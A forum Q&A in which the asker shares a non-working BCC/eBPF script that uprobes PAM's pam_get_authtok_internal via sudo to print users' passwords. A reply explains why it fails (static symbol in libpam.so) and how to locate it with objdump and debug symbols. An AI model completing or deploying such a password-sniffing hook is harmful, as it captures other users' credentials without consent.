I try to do hook to pam_get_authtok_internal with ebpf and its not work
from bcc import BPF
# Define the BPF program code to print the password
bpf_text = """
#include <uapi/linux/ptrace.h>
int print_password (pam_handle_t *pamh, int item,const char **authtok, const char *prompt,unsigned int flags)
{
char buf[256];
bpf_probe_read_str(buf, sizeof(buf), (void *)authtok);
bpf_trace_printk("Password: %s\\n", buf);
return 0;
}
"""
b = BPF(text=bpf_text)
b.attach_uprobe(name=sudo_path,sym="pam_get_authtok_internal", fn_name="print_password")
def print_password(cpu, data, size):
pid = b["passwords"].Key(data).value
password = data + size - 1
print(f"PID {pid} Password: {password.decode()}")
can someone help me with this please
You wouldn't be able to attach this
uprobebecause there is no such symbol insudobinary. Before trying to attachuprobeoruretprobetry first checking which symbols available viaobjdump -tT <file>orreadelf -s <file>.The second issue is that the function
pam_get_authtok_internalis defined asstatic, because of that, most likely it wouldn't appear in a symbol table of a proper file (which should belibpam.so). You can check which symbols availableobjdump -tT /usr/lib/libpam.so.Doing debug build might fix this, also another option might be installing debug symbols and using information provided from debug symbols to pinpoint the correct location for this function. You can use
objdump -eorobjdump -gto get info from debug symbols, and then use this address instead of the symbol.